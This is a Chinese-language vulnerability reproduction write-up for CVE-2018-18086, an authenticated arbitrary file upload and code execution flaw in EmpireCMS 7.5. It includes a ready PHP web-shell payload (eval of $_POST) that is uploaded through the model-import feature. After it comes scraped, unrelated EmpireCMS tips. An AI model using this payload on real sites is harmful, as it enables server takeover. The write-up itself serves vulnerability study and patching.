帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

一、漏洞描述

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

二、影响版本

EmpireCMS<=7.5

三、环境搭建

1、官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/

2、把下载的文件中的upload下的所有目录和文件放入到网站根目录下

3、修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装

  

4、设置php.ini中 short_open_tag = On,重启phpstudy

  

5、然后开始安装,安装过程参考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html

四、漏洞复现

1、查看/e/admin/ecmsmod.php代码

  

2、跟随LoadInMod函数来到/e/class/moddofun.php,可以看到上传文件处使用make_password(10)对时间进行加密然后拼接成为上传的文件名,这样就无法得到用户名

  

3、继续浏览代码,在下面发现@include($path),直接包含了这个上传的文件,这时如果在上传文件中添加可以创建文件的代码就可以绕过找不到文件名这个限制了。

  

4、我们可以构造如下payload:

<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>

5、登录后台,点击如下图所示

  

6、点击”导入系统模型”之后进入如下界面

  

7、可以上传一个内容为php代码的”.mod”后缀的文件,内容如下:

  

8、上传1.php.mod文件

  

9、查看文件,可以看到成功上传

  

10、浏览访问http://192.168.10.171/empirecms/e/admin/shell.php,可以看到成功执行代码

  

11、上传一个内容可以getshell的1.php.mod,内容入下:注意需要对$进行转义

<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>

12、成功上传后,菜刀连接,成功getshell

  

------------------------------------------------------------------------------------------

参考: https://github.com/SukaraLin/php_code_audit_project/issues/1

原文地址:https://www.cnblogs.com/yuzly/p/11359925.html

时间: 2024-10-06 12:49:16

帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)的相关文章

帝国CMS(EmpireCMS) v7.5后台任意代码执行

一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/ 2.把下载的文件中的upload下的所有目录和文件放入到网站根目录下 3.修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装 4.设置php.ini中 shor

帝国cms文章页调用当前文章URL如何操作?

前面我们讨论过dedecms文章页调用地址(当前文章URL)如何操作,作为同台竞技的帝国cms也能在文章页调用当前文章URL吗?答案是肯定的!那就随ytkah一起来探索一下吧 帝国cms模板是在后台直接编辑写入数据库,不支持ftp传输修改模板文件.打开后台 - 模板 - 模板管理 - 内容模板,在相应的地方加上如下代码 http://www.***.com[!--titleurl--] [!--titleurl--]是一个标签参数,可以直接调用,注意不要在前方加斜杠/,本身已经有了. 保存模板,

如何在帝国cms后台菜单栏中添加删除链接?

下午测试一个网上下载经过二次开发的帝国cms系统,还原完数据进入后台ytkah发现菜单栏多出了几个链接,有点不习惯,就想着怎么把它去掉.由于自己用的win7系统,搜索时没有像xp那样可以搜索包含某字符的文件,找起来比较麻烦. 后面想想,后台应该是在admin这个文件夹里,按文件夹名字母顺序依次点开第一个/adminstyle/,下面有两个文件夹一个1一个2里面都有adminmain.php,打开编辑果然发现那个链接,直接删除就是. 文件路径:\e\admin\adminstyle\1\admin

在帝国cms中新建只具有编辑某些栏目权限的后台用户或新建编辑用户在选择栏目时不能选择问题解决方法

在帝国cms中,鉴于有些部门只允许编辑自己部门所负责栏目内的新闻.信息等,所以创建只具有某一栏目或某几个栏目的编辑权限的后台用户至关重要. 1. 点击上面导航栏中的"用户"按钮 2. 点击左侧菜单中的"管理用户组" 3. 点击右侧新增用户组 4. 根据项目需要做好这个编辑组的权限配置 5.极其需要注意的是,这里的勾一定一定得去掉,否则就会出现标题中所述,在接下来的用户创建中选取授权栏目无效 6. 增加编辑用户,先点击左侧管理用户菜单,在点击右侧"增加用户&

帝国cms后台编辑器集成ueditor编辑器

我更换成百度编辑器的原因有以下几点:1.使用百度编辑器的图片粘贴上传功能,这个功能实在是太有必要了,有开发的过程中或上传的过程中,通常用qq直接截图,直接放到文章上面,避免了再放到本地保存的情况,真是麻烦 .2.使用word图片转存功能,离线的时候,可以使用Word将文章写好,然后再上传到网站上来.图片是最大的问题,使用百度编辑器可以完美的解决.3.良好的扩展性,百度编辑器貌似开发起插件来更方便容易一些.本功能不修改帝国cms核心代码,所以没得问题.下面介绍步骤:1.下载定制好的百度插件,下面是

帝国CMS常见问题记录

1.第一次安装,为什么找不到"增加信息"的地方?因为你未增加栏目,请先增加栏目,然后再增加信息(终极栏目下方可增加信息). 2.为什么信息管理的"信息栏目"列表不变?缓存问题,解决方法如下两种:1."系统设置"->"后台数据更新"->"删除缓存文件"即可解决2.手工删除文件方法:删除"e/data/fc/"目录里所有文件即可解决 3.为什么提示"Fatal error: Unable to read *** bytes"?请按"二进制"上传文件即可.(f

程序站分类目录帝国cms模板源码分享

程序站网址导航基于帝国cms程序搭建,为互联网用户提供音乐.小说.NBA.财经.购物.视频.软件及热门游戏网址大全等,提供了多种搜索引擎入口.实用查询.天气预报.个性定制等各种分类的优秀内容和网站入口,提供简单便捷的上网导航服务. 本模板源码安全可靠,代码简单/开源,无绑定域名等限制.您可以使用本源码轻松建立自己的综合网址导航站点,也可以修改为您所喜爱的相关内容导航站.网站导航页面的系统模板源码,内核绿色风格,界面清爽自然首页顶部可以添加广告信息. 程序版本:EmpireCMS v7.2 Fre

帝国cms文章内容tags关键词设置调用方法以及tags静态化

说实话帝国cms用起来真的不好找一些功能,就比如说帝国cms的tag标签调用.需要注意的是帝国CMS文章的关键词和tags标签并非一码事,关键词标签是设置文章的关键词的,是用来给搜索引擎说明本篇文章的大意,而tags标签是用来链接文章的,对于SEOer来说,使用tags可以起到聚合的作用,增加网站页面,提高权重.那么帝国CMS如何调用当前文章内容tags以及实现tags静态化呢? 帝国CMS tags标签怎么设置: 1.登录后台,单击[栏目]菜单——[TAGS管理]——[设置TAGS参数]子菜单

轻取帝国CMS管理员密码

“帝国”CMS是一套著名的PHP整站程序,是国内使用人数最多的PHPCMS程序之一.令人无奈的是,“帝国”虽然把势力壮大了,却忽略了自身防护的建设,结果在黑客攻击下,“帝国”沦陷了.“帝国”CMS曝出的漏洞能够让黑客在1分钟内拿到管理员的账户密码,之后更能轻松获取webshell.下面让我们一起来对“帝国”CMS进行一次入侵检测. 漏洞的成因: 都说安全是一个整体,千里之堤毁于蚁穴,往往一个看似坚不可摧的网站系统,在某个不被注意的角落出现了一个极小的疏忽,结果导致整个网站被黑客攻陷.“帝国”CM